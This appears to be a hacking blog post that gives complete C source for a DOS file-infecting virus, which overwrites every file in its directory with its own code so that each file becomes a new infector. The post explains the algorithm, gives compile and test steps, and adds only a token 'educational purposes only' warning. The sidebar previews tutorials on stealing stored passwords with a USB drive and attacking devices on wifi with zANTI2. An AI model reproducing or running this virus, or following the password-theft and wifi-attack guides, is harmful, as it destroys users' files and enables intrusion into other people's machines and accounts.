Skip to main content

How to Create a Computer Virus?

How to Create a Computer Virus?

create computer virus
This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.
Here’s the source code of the virus program:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],"rb"); 
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}
This virus is designed to infect all types of files with any extension.
You can download the source code from the following link:

How the Virus Program Works?

The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

  1. Create a new empty folder.
  2. Put some executable files (or any other files) in the folder.
  3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
  4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.

Comments

Popular posts from this blog

Need For Speed Most wanted Tools Cheats

Need For Speed Most wanted HAcKK,Tools NFS:MW Tools & Utilit NFS:MW Tools & Utilities (47 NFS:MW tools | 492,900 total downloads) File Name Downloads Author NFS:MW Rival CHALLENGE Save Games 42,788 WIL BMW M3 GTR Tuned(changed lights) 5,340 Tiago Comlete savegame 4,639 Tanvir Money hack trainer 4,382 tanvr ModLoader 5,703 GameNet.com e FelipeReset07 NFSMW +4 trainer 2,613 WerderCanuck Trainer and car unlocker 8,376 [t@nvir_4u] BMW M3 GTR RIMS 1,055 N/A nfs carbon cross vinyl for mw 1,427 viveksreenair New BMW M3 GTR (hero car) Textures 1,444 LP Force 100% Game Complete by SilentH 1,947 Game 100% Complete by SilentH Lancerevo8 tokyo drift vinyl 1,802 darshit999 Bull save game 728 Arif NFSMW resolution hack, new effects. 4,159 NFSCoder Razor Race 99% save game 4,373 Nimish cobaltss cross vinyl 1,120 marendra BMWM3GTR-STACKED-DECK 888 LEXUS-LEE-159 100% completion game 1,210 veeres karthi nfsmw save with 43 cars 3,170 n/a Tight Security - Cop cars

How to Hack Passwords Using a USB Drive?

How to Hack Passwords Using a USB Drive As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and a USB pen-drive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit: MessenPass :  Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM. Mail PassView :  Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), M

How to hack anything inside a wifi?

Tutorial - How To Use zANTI2 for hacking? zANTI2 is a new app that came from the Zimperium and Simone Margaritelli, the dSploit author. zANTI comes with a bunch of amazing features, including metasploit exploits, packets sniffing, session and password hijacking and many more. But how do you use them? See this tutorial! Ready to hack? Let's go. First off, (if you haven't already), download the zANTI app from  dsploit.net You can register if you want and you're good to go. Alright, now connect to the WiFi and start scanning. Wait for the scan to be finished. You will see connected devices with open ports. As you can see on the image above, there are a few devices including one HTC device running Linux (Android) and two printers. You can now choose which of the devices you want to attack. I will go ahead and select the HTC. If you want to attack all of them, you can select the entire network. If you open up the device, you'll see a few options popping up. Scan Co